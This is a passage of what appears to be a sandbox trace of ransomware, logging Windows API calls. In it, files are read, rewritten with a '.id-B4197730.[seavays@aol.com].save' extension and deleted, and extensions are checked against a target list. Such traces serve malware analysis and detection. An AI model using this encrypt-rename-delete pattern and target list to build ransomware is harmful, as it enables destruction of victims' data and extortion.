hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0051.952] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0051.954] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.954] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0051.954] SetEndOfFile (hFile=0x310) returned 1 [0051.955] CloseHandle (hObject=0x310) returned 1 [0051.957] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.957] SetEndOfFile (hFile=0x30c) returned 1 [0051.958] CloseHandle (hObject=0x30c) returned 1 [0051.959] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.959] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0051.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.959] lstrlenW (lpString=".doc") returned 4 [0051.959] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.959] lstrlenW (lpString=".docx") returned 5 [0051.959] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.959] lstrlenW (lpString=".pdf") returned 4 [0051.959] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.959] lstrlenW (lpString=".xls") returned 4 [0051.959] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.959] lstrlenW (lpString=".xlsx") returned 5 [0051.959] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.959] lstrlenW (lpString=".ppt") returned 4 [0051.960] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.960] lstrlenW (lpString=".zip") returned 4 [0051.960] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.960] lstrlenW (lpString=".rar") returned 4 [0051.960] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".bz2") returned 4 [0051.960] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".7z") returned 3 [0051.960] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.960] lstrlenW (lpString=".dbf") returned 4 [0051.960] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.960] lstrlenW (lpString=".1cd") returned 4 [0051.960] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.960] lstrlenW (lpString=".jpg") returned 4 [0051.960] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.960] lstrlenW (lpString=".doc") returned 4 [0051.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".docx") returned 5 [0051.960] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.960] lstrlenW (lpString=".pdf") returned 4 [0051.960] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".xls") returned 4 [0051.960] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".xlsx") returned 5 [0051.960] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.960] lstrlenW (lpString=".ppt") returned 4 [0051.960] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.961] lstrlenW (lpString=".zip") returned 4 [0051.961] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.961] lstrlenW (lpString=".rar") returned 4 [0051.961] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString=".bz2") returned 4 [0051.961] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString=".7z") returned 3 [0051.961] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.961] lstrlenW (lpString=".dbf") returned 4 [0051.961] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.961] lstrlenW (lpString=".1cd") returned 4 [0051.961] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0051.961] lstrlenW (lpString=".jpg") returned 4 [0051.961] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.961] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0051.961] lstrlenW (lpString="eula.rtf") returned 8 [0051.961] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.962] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=8876) returned 1 [0051.962] CloseHandle (hObject=0x30c) returned 1 [0051.962] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0051.962] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.962] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.962] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.962] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.962] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.963] GetLastError () returned 0x0 [0051.963] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x22ac, lpOverlapped=0x0) returned 1 [0051.964] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0051.965] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.965] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0051.965] SetEndOfFile (hFile=0x310) returned 1 [0051.965] CloseHandle (hObject=0x310) returned 1 [0051.966] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.966] SetEndOfFile (hFile=0x30c) returned 1 [0051.967] CloseHandle (hObject=0x30c) returned 1 [0051.967] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.967] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0051.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.968] lstrlenW (lpString=".doc") returned 4 [0051.968] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.968] lstrlenW (lpString=".docx") returned 5 [0051.968] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.968] lstrlenW (lpString=".pdf") returned 4 [0051.968] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.968] lstrlenW (lpString=".xls") returned 4 [0051.968] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.968] lstrlenW (lpString=".xlsx") returned 5 [0051.968] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.968] lstrlenW (lpString=".ppt") returned 4 [0051.968] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.968] lstrlenW (lpString=".zip") returned 4 [0051.968] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.968] lstrlenW (lpString=".rar") returned 4 [0051.968] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.968] lstrlenW (lpString=".bz2") returned 4 [0051.968] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.968] lstrlenW (lpString=".7z") returned 3 [0051.968] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.968] lstrlenW (lpString=".dbf") returned 4 [0051.968] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.968] lstrlenW (lpString=".1cd") returned 4 [0051.968] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.969] lstrlenW (lpString=".jpg") returned 4 [0051.969] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.969] lstrlenW (lpString=".doc") returned 4 [0051.969] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString=".docx") returned 5 [0051.969] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.969] lstrlenW (lpString=".pdf") returned 4 [0051.969] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString=".xls") returned 4 [0051.969] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.969] lstrlenW (lpString=".xlsx") returned 5 [0051.969] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.969] lstrlenW (lpString=".ppt") returned 4 [0051.969] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.969] lstrlenW (lpString=".zip") returned 4 [0051.969] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.969] lstrlenW (lpString=".rar") returned 4 [0051.969] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString=".bz2") returned 4 [0051.969] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString=".7z") returned 3 [0051.969] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.969] lstrlenW (lpString=".dbf") returned 4 [0051.969] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.969] lstrlenW (lpString=".1cd") returned 4 [0051.969] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0051.970] lstrlenW (lpString=".jpg") returned 4 [0051.970] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.970] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0051.970] lstrlenW (lpString="LocalizedData.xml") returned 17 [0051.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.970] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=86284) returned 1 [0051.970] CloseHandle (hObject=0x30c) returned 1 [0051.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0051.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.970] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.970] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.971] GetLastError () returned 0x0 [0051.971] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0051.973] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x15110, lpOverlapped=0x0) returned 1 [0051.976] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.976] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0051.976] SetEndOfFile (hFile=0x310) returned 1 [0051.976] CloseHandle (hObject=0x310) returned 1 [0051.978] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.978] SetEndOfFile (hFile=0x30c) returned 1 [0051.979] CloseHandle (hObject=0x30c) returned 1 [0051.980] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.980] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0051.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.980] lstrlenW (lpString=".doc") returned 4 [0051.980] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.980] lstrlenW (lpString=".docx") returned 5 [0051.980] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.980] lstrlenW (lpString=".pdf") returned 4 [0051.980] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.980] lstrlenW (lpString=".xls") returned 4 [0051.980] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.980] lstrlenW (lpString=".xlsx") returned 5 [0051.980] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.980] lstrlenW (lpString=".ppt") returned 4 [0051.980] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.980] lstrlenW (lpString=".zip") returned 4 [0051.980] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.981] lstrlenW (lpString=".rar") returned 4 [0051.981] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString=".bz2") returned 4 [0051.981] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString=".7z") returned 3 [0051.981] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.981] lstrlenW (lpString=".dbf") returned 4 [0051.981] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.981] lstrlenW (lpString=".1cd") returned 4 [0051.981] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.981] lstrlenW (lpString=".jpg") returned 4 [0051.981] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.981] lstrlenW (lpString=".doc") returned 4 [0051.981] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString=".docx") returned 5 [0051.981] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.981] lstrlenW (lpString=".pdf") returned 4 [0051.981] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString=".xls") returned 4 [0051.981] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString=".xlsx") returned 5 [0051.981] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.981] lstrlenW (lpString=".ppt") returned 4 [0051.981] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.981] lstrlenW (lpString=".zip") returned 4 [0051.981] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.981] lstrlenW (lpString=".rar") returned 4 [0051.981] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.982] lstrlenW (lpString=".bz2") returned 4 [0051.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.982] lstrlenW (lpString=".7z") returned 3 [0051.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.982] lstrlenW (lpString=".dbf") returned 4 [0051.982] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.982] lstrlenW (lpString=".1cd") returned 4 [0051.982] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0051.982] lstrlenW (lpString=".jpg") returned 4 [0051.982] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.982] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0051.982] lstrlenW (lpString="eula.rtf") returned 8 [0051.982] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.982] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3188) returned 1 [0051.982] CloseHandle (hObject=0x30c) returned 1 [0051.982] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0051.982] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.983] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.983] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.983] GetLastError () returned 0x0 [0051.983] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xc74, lpOverlapped=0x0) returned 1 [0052.442] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xc80, lpOverlapped=0x0) returned 1 [0052.443] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.443] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.444] SetEndOfFile (hFile=0x310) returned 1 [0052.444] CloseHandle (hObject=0x310) returned 1 [0052.445] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.445] SetEndOfFile (hFile=0x30c) returned 1 [0052.445] CloseHandle (hObject=0x30c) returned 1 [0052.445] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.446] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0052.446] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.446] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.446] lstrlenW (lpString=".doc") returned 4 [0052.446] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.446] lstrlenW (lpString=".docx") returned 5 [0052.446] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.446] lstrlenW (lpString=".pdf") returned 4 [0052.446] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.446] lstrlenW (lpString=".xls") returned 4 [0052.446] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.446] lstrlenW (lpString=".xlsx") returned 5 [0052.446] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.446] lstrlenW (lpString=".ppt") returned 4 [0052.446] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.446] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.446] lstrlenW (lpString=".zip") returned 4 [0052.446] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.446] lstrlenW (lpString=".rar") returned 4 [0052.447] lstrcmpiW (lpString1=".rar", 